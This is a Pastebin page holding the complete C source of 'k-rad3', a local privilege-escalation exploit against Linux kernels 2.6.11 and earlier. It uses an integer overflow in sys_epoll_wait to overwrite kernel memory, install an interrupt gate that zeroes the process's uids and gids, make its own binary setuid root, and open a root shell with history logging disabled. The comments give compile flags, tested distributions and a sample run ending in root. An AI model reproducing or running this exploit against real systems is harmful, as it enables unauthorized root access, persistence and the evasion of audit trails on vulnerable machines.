Advertisement
TrojanCoder

Root

Jan 29th, 2017
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 17.45 KB | None | 0 0
  1. /*
  2. * k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
  3. * Discovered and original exploit coded Jan 2005 by sd <sd@fucksheep.org>
  4. *
  5. *********************************************************************
  6. *
  7. * Modified 2005/9 by alert7 <alert7@xfocus.org>
  8. * XFOCUS Security Team http://www.xfocus.org
  9. *
  10. * gcc -o k-rad3 k-rad3.c -static -O2
  11. *
  12. * tested succeed :
  13. *        on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)
  14. *             2.6.9-5.EL ./k-rad3 -p 2
  15. *             2.6.9-5.ELsmp ./k-rad3 -a -p 7
  16. *        on default installed maglic linux 1.2
  17. *             MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2
  18. *
  19. * thank watercloud tested maglic linux 1.2
  20. * thank eist provide RHEL4 to test
  21. * thank sd <sd@fucksheep.org> share his stuff.
  22. * thank xfocus & xfocus's firends
  23. *
  24. *
  25. * TODO:
  26. *         CASE 1: use stack > 0xc0000000
  27. *         CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse
  28. *
  29. *[alert7@MagicLinux ~]$ ./k-rad3 -h
  30. *[  k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit  ]
  31. *[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
  32. *[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
  33. *
  34. *Usage: ./k-rad3
  35. *       -s forced cpu flag pse
  36. *        -a define CONFIG_X86_PAE,default none
  37. *        -e <num> have two kernel code,default 0
  38. *        -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
  39. *                The higher number the more likely it will crash
  40. *        -t <num> default 0
  41. *                0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
  42. *
  43. *[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2
  44. *[  k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit  ]
  45. *[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
  46. *[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
  47. *[+] try open /proc/cpuinfo .. ok!!
  48. *[+] find cpu flag pse in /proc/cpuinfo
  49. *[+] CONFIG_X86_PAE :none
  50. *[+] Cpu flag: pse ok
  51. *[+] Exploit Way : 0
  52. *[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
  53. *[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
  54. *[+] idtr.base 0xc0461000 ,base 0xc0000000
  55. *[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196
  56. *[+] idt[0x7f] addr 0xffc003f8
  57. *[+] j00 1u(k7 k1d!
  58. *[root@k-rad3 ~] #id
  59. *uid=0(root) gid=0(root) groups=500(alert7)
  60. *
  61. *
  62. *  Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit
  63. *
  64. * "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11)
  65. * memory due to integer overflow in sys_epoll_wait and misuse of
  66. * __put_user in ep_send_events"
  67. * Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
  68. *
  69. *********************************************************************
  70. *
  71. *
  72. * In memory of pwned.c (uselib)
  73. *
  74. * - Redistributions of source code is not permitted.
  75. * - Redistributions in the binary form is not permitted.
  76. * - Redistributions of the above copyright notice, this list of conditions,
  77. * and the following disclaimer is permitted.
  78. * - By proceeding to a Redistribution and under any form of the Program
  79. * the Distributor is granting ownership of his Resources without
  80. * limitations to the copyright holder(s).
  81. *
  82. *
  83. * Since we already owned everyone, theres no point keeping this private
  84. * anymore.
  85. *
  86. * http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
  87. *
  88. * Thanks to our internet hero georgi guninski for being such incredible
  89. * whitehat disclosing one of the most reliable kernel bugs.
  90. * You saved the world, man, we owe you one!
  91. *
  92. * This version is somewhat broken, but skilled reader will get an idea.
  93. * Well, at least let the scriptkids have fun for a while.
  94. *
  95. * Thanks to all who helped me developing/testing this, you know who you are,
  96. * and especially to my gf for guidance while coding this.
  97. *
  98. */
  99.  
  100. #define _GNU_SOURCE
  101.  
  102. #include <stdlib.h>
  103. #include <stdio.h>
  104. #include <sys/types.h>
  105. #include <sys/socket.h>
  106. #include <sys/epoll.h>
  107. #include <sys/mman.h>
  108. #include <sys/resource.h>
  109. #include <linux/capability.h>
  110. #include <asm/unistd.h>
  111. #ifndef __USE_GNU
  112.     #define __USE_GNU
  113. #endif
  114. #include <unistd.h>
  115. #include <errno.h>
  116. #include <signal.h>
  117. #include <string.h>
  118.  
  119. /**
  120.   * Relationship Variables
  121.   *
  122.   * 1: CONFIG_X86_PAE
  123.   *     see /lib/modules/`uname -r`/build/.config
  124.   *     1.1: pse
  125.   * 2: THREAD_SIZE
  126.   *     see include/asm/thread_info.h THREAD_SIZE define
  127.   */
  128.  
  129.  
  130. #define MAP (0xfffff000 - (1023*4096))
  131. #define MAP_PAE (0xfffff000 - (511*4096))
  132. #define MKPTE(addr) ((addr & (~4095)) | 0x27)
  133. #define MKPMD(x) (0x1e3|0x004)
  134.  
  135. ////////////////////////////////////////////////
  136.  
  137. #define KRADPS1 "k-rad3"
  138.  
  139. #define kB * 1024
  140. #define MB * 1024 kB
  141. #define GB * 1024 MB
  142.  
  143. #define KRS "\033[1;30m[ \033[1;37m"
  144. #define KRE "\033[1;30m ]\033[0m"
  145. #define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
  146. #define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
  147. #define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
  148.  
  149. #define SET_IDT_GATE(idt,ring,s,addr) \
  150.     (idt).off1 = addr & 0xffff; \
  151.     (idt).off2 = addr >> 16; \
  152.     (idt).sel = s; \
  153.     (idt).none = 0; \
  154.     (idt).flags = 0x8E | (ring << 5);
  155.  
  156. //config val
  157. static int havepse      = 0;
  158. static int definePAE    = 0;
  159. static int exploitway   = 0;
  160. static int npages       = 1;
  161. static int thread_size   = 0;
  162.  
  163.  
  164. static uid_t uid        = 0;
  165. static unsigned long long *clear1;
  166. static char * progargv0;
  167.  
  168. struct idtr {
  169.     unsigned short limit;
  170.     unsigned int base;
  171. } __attribute__ ((packed));
  172.  
  173. struct idt {
  174.     unsigned short off1;
  175.     unsigned short sel;
  176.     unsigned char none,flags;
  177.     unsigned short off2;
  178. } __attribute__ ((packed));
  179.  
  180.  
  181.  
  182. #define __syscall_return(type, res) \
  183. do { \
  184.     if ((unsigned long)(res) >= (unsigned long)(-125)) { \
  185.     errno = -(res); \
  186.     res = -1; \
  187.     } \
  188.     return (type) (res); \
  189. } while (0)
  190.  
  191.  
  192. #define _capget_macro(type,name,type1,arg1,type2,arg2) \
  193.     type name(type1 arg1,type2 arg2) \
  194.     { \
  195.     long __res; \
  196.     __asm__ volatile ( "int $0x80" \
  197.     : "=a" (__res) \
  198.     : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
  199.     __syscall_return(type,__res); \
  200.     }
  201.  
  202. static inline _capget_macro(int,capget,void *,a,void *,b);
  203.  
  204. static int THREAD_SIZE_MASK =(-4096);
  205.  
  206.  
  207. static void
  208. fatal(const char *message)
  209. {
  210.     system("uname -a");
  211.     printf("[-] %s\n",message);
  212.     exit(1);
  213. }
  214.  
  215. void kernel(unsigned * task)
  216. {
  217.     unsigned * addr = task;
  218.     /* looking for uids */
  219.  
  220.     *clear1 = 0;
  221.  
  222.     while (addr[0] != uid || addr[1] != uid ||
  223.         addr[2] != uid || addr[3] != uid
  224.         )
  225.         addr++;
  226.    
  227.     addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
  228.     addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
  229.  
  230. }
  231.  
  232. void kcode(void);
  233. void __kcode(void)
  234. {
  235.     asm(
  236.     "kcode: \n"
  237.     "cld \n"
  238.     " pusha \n"
  239.     " pushl %es \n"
  240.     " pushl %ds \n"
  241.     " movl %ss,%edx \n"
  242.     " movl %edx,%es \n"
  243.     " movl %edx,%ds \n");
  244.     __asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
  245.     asm(
  246.     " andl %esp,%eax \n"
  247.     " pushl (%eax) \n"
  248.     " call kernel \n"
  249.     " addl $4, %esp \n"
  250.     " popl %ds \n"
  251.     " popl %es \n"
  252.     " popa \n"
  253.     " cli \n"
  254.     " iret \n"
  255.     );
  256. }
  257.  
  258.  
  259. void raise_cap(unsigned long *ts)
  260. {
  261. /* must be on lower addresses because of kernel arg check :) */
  262. static struct __user_cap_header_struct head;
  263. static struct __user_cap_data_struct data;
  264. static struct __user_cap_data_struct n;
  265.  
  266. int i;
  267.  
  268. *clear1 = 0;
  269. head.version = 0x19980330;
  270. head.pid = 0;
  271. capget(&head, &data);
  272. /* scan the thread_struct */
  273. for (i = 0; i < 512; i++, ts++)
  274. {
  275.     /* is it capabilities block? */
  276.     if (  (ts[0] == data.effective) &&
  277.         (ts[1] == data.inheritable) &&
  278.         (ts[2] == data.permitted))
  279.     {
  280.         /* set effective cap to some val */
  281.         ts[0] = 0x12341234;
  282.         capget(&head, &n);
  283.         /* and test if it has changed */
  284.         if (n.effective == ts[0])
  285.         {
  286.             /* if so, we're in :) */
  287.             ts[0] = ts[1] = ts[2] = 0xffffffff;
  288.             return;
  289.         }
  290.         /* otherwise fix back the stuff
  291.         (if we've not crashed already :) */
  292.         ts[0] = data.effective;
  293.     }
  294. }
  295. return;
  296. }
  297.  
  298.  
  299. void stub(void);
  300. void __stub(void)
  301. {
  302.     asm (
  303.     "stub:;"
  304.     " pusha;"
  305.     );
  306.     __asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
  307.     asm(
  308.     " and %esp, %eax;"
  309.     " pushl (%eax);"
  310.     " call raise_cap;"
  311.     " pop %eax;"
  312.     " popa;"
  313.     " iret;"
  314.     );
  315.  
  316. }
  317.  
  318.  
  319. /* write to kernel from buf, num bytes */
  320. static int
  321. kwrite(unsigned base, char *buf, int num)
  322. {
  323. #define DIV 256
  324. #define RES 4
  325.  
  326. int efd, c, i, fd;
  327. int pi[2];
  328. struct epoll_event ev;
  329. int *stab;
  330. unsigned long ptr;
  331. int count;
  332. unsigned magic = 0xffffffff / 12 + 1;
  333.  
  334.     printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num);
  335.     /* initialize epoll */
  336.     efd = epoll_create(4096);
  337.     if (efd < 0)
  338.         return -1;
  339.    
  340.     ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
  341.  
  342.     /* 12 bytes per fd + one more to be safely in stack space */
  343.     count = (num+11)/12+RES;
  344.  
  345.     /* desc array */
  346.     stab = alloca((count+DIV-1)/DIV*sizeof(int));
  347.  
  348.     for (i = 0; i < ((count+DIV-1)/DIV)+1; i++)
  349.     {
  350.  
  351.         if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
  352.             return -1;
  353.  
  354.         send(pi[0], "a", 1, 0);
  355.         stab[i] = pi[1];
  356.     }
  357.  
  358.     /* highest fd and first descriptor */
  359.     fd = pi[1];
  360.     /* we've to allocate this separately because we need to have
  361.     it's fd preserved - using this we'll be writing actual bytes */
  362.     epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
  363.     //printf("EPOLL_CTL_ADD count %u\n",count);
  364.     for (i = 0, c = 0; i < (count-1); i++)
  365.     {
  366.         int n;
  367.         n = dup2(stab[i/DIV], fd+2+(i % DIV));
  368.         if (n < 0)
  369.             return -1;
  370.         epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
  371.         close(n);
  372.     }
  373.  
  374.     /* in 'n' we've the latest fd we're using to write data */
  375.     for (i = 0; i < ((num+7)/8); i++)
  376.     {
  377.         /* data being written from end */
  378.         memcpy(&ev.data, buf + num - 8 - i * 8, 8);
  379.         epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
  380.  
  381.         /* the actual kernel magic */
  382.         ptr = (base + num - (i*8)) - (count * 12);
  383.         struct epoll_event *events =(struct epoll_event *)ptr;
  384.         //printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic);
  385.         int iret =epoll_wait(efd, (void *) ptr, magic, 31337);
  386.         if (iret ==-1)
  387.         {
  388.             perror("epoll_wait");
  389.             fatal("This kernel not vulnerability!!!");
  390.  
  391.         }
  392.         /* don't ask why (rotten rb-trees) :) */
  393.         if (i)
  394.         {
  395.             //printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic);
  396.             iret = epoll_wait(efd, (void *)ptr, magic, 31337);
  397.                     if (iret ==-1)
  398.                     {
  399.                            perror("epoll_wait");
  400.                 fatal("This kernel not vulnerability!!!");
  401.    
  402.                     }
  403.  
  404.         }
  405.     }
  406.  
  407.     close(efd);
  408.     for (i = 3; i <= fd; i++)
  409.         close(i);
  410.    
  411.     return 0;
  412.    
  413. }
  414.  
  415. /* real-mode interrupt table fixup - point all interrupts to iret.
  416. let's hope this will shut up apm */
  417. static void
  418. fixint(char *buf)
  419. {
  420. unsigned *tab = (void *) buf;
  421. int i;
  422.  
  423.     for (i = 0; i < 256; i++)
  424.         tab[i] = 0x0000400; /* 0000:0400h */
  425.     /* iret */
  426.     buf[0x400] =0xcf;
  427. }
  428.  
  429. /* establish pte pointing to virtual addr 'addr' */
  430. static int
  431. map_pte(unsigned base, int pagenr, unsigned addr)
  432. {
  433.     unsigned *buf = alloca(pagenr * 4096 + 8);
  434.     buf[(pagenr) * 1024] = MKPTE(addr);
  435.     buf[(pagenr) * 1024+1] = 0;
  436.     fixint((void *)buf);
  437.     return kwrite(base, (void *)buf, pagenr * 4096 + 4);
  438. }
  439.  
  440. /* make pme user can rw */
  441. static int
  442. map_pme(unsigned base, int pagenr, unsigned addr)
  443. {
  444.     unsigned *buf = alloca(pagenr * 4096 + 32);
  445.     buf[(pagenr) * 1024] = MKPMD(addr);
  446.     buf[(pagenr) * 1024+1] = 0;
  447.     buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000;
  448.     buf[(pagenr) * 1024+3] = 0;
  449.     fixint((void *)buf);
  450.     return kwrite(base, (void *)buf, pagenr * 4096 + 4*3);
  451. }
  452.  
  453.  
  454. static void
  455. error(int d)
  456. {
  457.     printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n");
  458.     exit(1);
  459. }
  460.  
  461.     char *bashargv[] = { KRADPS1, NULL };
  462.     char *bashenvp[] = {    "TERM=linux", "PS1=[\\u@"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null",
  463.                     "HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null",
  464.                     "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
  465.  
  466. static int
  467. exploit(unsigned kernelbase, int npages)
  468. {
  469.     struct idt *idt;
  470.     struct idtr idtr;
  471.  
  472.  
  473.  
  474.     signal(SIGSEGV, error);
  475.     signal(SIGBUS, error);
  476.  
  477.  
  478.     /* get idt descriptor addr */
  479.     asm ("sidt %0" : "=m" (idtr));
  480.     /*
  481.       * if OS in vmware , idtr.base is not right,please fix it
  482.       * [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
  483.       * c0461000 D idt_table
  484.       * //idtr.base = 0xc0461000;
  485.       */
  486.    
  487.     printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);
  488.    
  489.     if ( !definePAE )
  490.     {
  491.         map_pte(kernelbase, npages, idtr.base - kernelbase);
  492.         //  idt = pae?(void *)MAP_PAE:(void *)MAP;     
  493.         idt = (struct idt *)MAP;
  494.     }else
  495.     {
  496.         /* TODO: pse disable case */
  497.         if ( !havepse)
  498.             printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n");
  499.        
  500.         map_pme(kernelbase, npages, idtr.base - kernelbase);
  501.         idt = (struct idt *) idtr.base;
  502.     }
  503.  
  504. #if 0
  505.     int * p = (int *) idt;
  506.     int i;
  507.     for (i=0;i<1024;i++,p++)
  508.         printf( "* %p 0x%x\n",p,*p);
  509.     fflush(stdout);
  510. #endif
  511.  
  512.     /**
  513.       * cleanup the stuff to prevent others spotting the gate
  514.       * - must be done from ring 0
  515.       */
  516.     clear1 = (void *) &idt[0x7f];
  517.     printf("[+] idt[0x7f] addr %p\n",clear1);
  518.  
  519.     if ( exploitway == 0)
  520.     {
  521.         SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode));
  522.     }
  523.     else
  524.     {
  525.         SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
  526.     }
  527.    
  528.     //[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
  529.     /**
  530.       * also can use [2] stub function,but it may cause this message
  531.       *
  532.       * Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531
  533.       * Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1
  534.       * Sep 11 13:11:59 AD4 kernel:  [<c011ca30>] __might_sleep+0x7d/0x89
  535.       * Sep 11 13:11:59 AD4 kernel:  [<c01270bd>] sys_capget+0x1d5/0x216
  536.       * Sep 11 13:11:59 AD4 kernel:  [<c0301bfb>] syscall_call+0x7/0xb
  537.       * Sep 11 13:11:59 AD4 kernel:  [<c017007b>] pipe_writev+0x24/0x320
  538.       * Sep 11 13:11:59 AD4 kernel:  [<c01619a4>] filp_close+0x59/0x5f
  539.       *
  540.       */
  541.  
  542.     /* call raise_cap or kernel */
  543.     asm ("int $0x7f");
  544.     printf(KRADP "j00 1u(k7 k1d!\n");
  545.     setresuid(0, 0, 0);
  546.     setresgid(0, 0, 0);
  547.     char cmdbuf[1024];
  548.     snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0);
  549.     system(cmdbuf);
  550.    
  551.     execve("/bin/sh", bashargv, bashenvp);
  552.     exit(0);
  553. }
  554.  
  555.  
  556.  
  557. static void
  558. usage(char *n)
  559. {
  560.        
  561.     printf("\nUsage: %s\n",n);
  562.     printf("\t-s forced cpu flag pse \n");
  563.     printf("\t-a define CONFIG_X86_PAE,default none\n");
  564.     printf("\t-e <num> have two kernel code,default 0\n");
  565.     printf("\t-p <num> alloc pages(4k) ,default 1. Increase from 1 to 7\n"
  566.          "\t\tThe higher number the more likely it will crash\n");
  567.     printf("\t-t <num> default 0 \n"
  568.           "\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n");
  569.     printf("\n");
  570.     _exit(1);
  571. }
  572.  
  573.  
  574. /*read /proc/cpuinfo to set  havepse*/
  575. static void
  576. read_proc(void)
  577. {
  578.             FILE * fp;
  579.             char * line = NULL;
  580.             size_t len = 0;
  581.             ssize_t read;
  582.          printf("[+] try open /proc/cpuinfo ..");
  583.             fp = fopen("/proc/cpuinfo", "r");
  584.             if (fp == NULL)
  585.             {
  586.                  printf(" failed!!\n");
  587.                  return;
  588.             }
  589.          printf(" ok!!\n");
  590.          
  591.          int cpus = 0; 
  592.          int pse = 0;
  593.             while ((read = getline(&line, &len, fp)) != -1)
  594.         {
  595.  
  596.            if (strstr(line,"flags"))
  597.            {
  598.             if(strstr(line ,"pse "))
  599.             {
  600.                 pse ++;
  601.             }
  602.            }
  603.  
  604.             }
  605.          fclose(fp);
  606.          
  607.             if (line)
  608.                  free(line);
  609.            
  610.          if ( pse )
  611.         {
  612.                 printf("[+] find cpu flag pse in /proc/cpuinfo\n");
  613.                 havepse = 1;
  614.             }
  615.  
  616.             return ;
  617.  
  618. }
  619.  
  620. static void
  621. get_config(int ac, char **av)
  622. {
  623.    
  624.     uid = getuid();
  625.     progargv0 = av[0];
  626.  
  627.     int r;
  628.    
  629.     while(ac) {
  630.         r = getopt(ac, av, "e:p:t:ash");
  631.        
  632.         if(r<0) break;
  633.  
  634.         switch(r) {
  635.  
  636.             case 's' :
  637.             //pse
  638.                 havepse = 1;
  639.                 break;
  640.  
  641.             case 'a' :
  642.             //define CONFIG_X86_PAE
  643.                 definePAE = 1;
  644.                 break;
  645.  
  646.             case 'e' :
  647.                 exploitway = atoi(optarg);
  648.                 if(exploitway<0) fatal("bad exploitway value");
  649.                 break;
  650.  
  651.             case 'p' :
  652.                 npages = atoi(optarg);
  653.                 break;
  654.             case 't' :
  655.                 thread_size = atoi(optarg);
  656.                
  657.                 break;             
  658.                
  659.             case 'h' :
  660.             default:
  661.                 usage(av[0]);
  662.                 break;
  663.         }
  664.     }  
  665.  
  666.     THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192);
  667.  
  668.     read_proc();
  669. }
  670.  
  671. static void
  672. print_config(unsigned long kernebase)
  673. {
  674.     printf("[+] CONFIG_X86_PAE :%s\n",  definePAE   ?"ok":"none");
  675.     printf("[+] Cpu flag: pse %s\n",            havepse     ?"ok":"none"); 
  676.     printf("[+] Exploit Way : %d\n",        exploitway);
  677.     printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n",
  678.             npages,kernebase,kernebase+npages*4 kB);
  679.     printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size);
  680.     fflush(stdout);
  681. }
  682.  
  683.  
  684. void prepare(void)
  685. {
  686.     if (geteuid() == 0)
  687.     {
  688.      setresuid(0, 0, 0);
  689.      setresgid(0, 0, 0);
  690.          execve("/bin/sh", bashargv, bashenvp);
  691.         fatal("[-] Unable to spawn shell");
  692.     }
  693. }
  694.  
  695. int
  696. main(int argc, char **argv)
  697. {
  698.     char eater[65536];
  699.     unsigned long kernelbase;
  700.  
  701.     /* unlink(argv[0]); */
  702.     // sync();
  703.    
  704.     printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n"
  705.         KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n"
  706.         KRS "Modified 2005/9 by alert7 <alert7@xfocus.org>" KRE "\n");
  707.  
  708.     if ( (unsigned long)eater > 0xc0000000)
  709.     {
  710.         printf("[!Waring!] TODO:use stack > 0xc0000000 \n");
  711.         return 0;
  712.     }
  713.    
  714.     prepare();
  715.    
  716.     get_config(argc,argv);
  717.  
  718.     kernelbase =(unsigned long)eater ;
  719.     kernelbase +=0x0fffffff;
  720.     kernelbase &=0xf0000000;
  721.    
  722.     print_config(kernelbase);
  723.  
  724.     exploit(kernelbase, npages<0?-npages:npages);
  725.  
  726.     return 0;
  727.  
  728. }
  729.  
  730. // milw0rm.com [2005-12-30]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement